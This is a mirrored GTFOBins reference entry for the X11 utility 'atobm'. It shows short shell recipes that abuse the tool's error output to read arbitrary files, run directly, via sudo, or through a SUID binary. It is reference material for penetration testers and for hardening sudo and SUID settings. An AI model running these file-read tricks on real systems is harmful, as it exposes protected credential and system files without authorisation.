mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
17 lines
525 B
Markdown
17 lines
525 B
Markdown
|
---
|
||
|
description: Outputs the first line of the file to standard error without the `-` and `#` characters, this can be customized with the `-c` option, by default is `-c -#`.
|
||
|
functions:
|
||
|
file-read:
|
||
|
- code: |
|
||
|
LFILE=file_to_read
|
||
|
atobm $LFILE 2>&1 | awk -F "'" '{printf "%s", $2}'
|
||
|
sudo:
|
||
|
- code: |
|
||
|
LFILE=file_to_read
|
||
|
sudo atobm $LFILE 2>&1 | awk -F "'" '{printf "%s", $2}'
|
||
|
suid:
|
||
|
- code: |
|
||
|
LFILE=file_to_read
|
||
|
./atobm $LFILE 2>&1 | awk -F "'" '{printf "%s", $2}'
|
||
|
---
|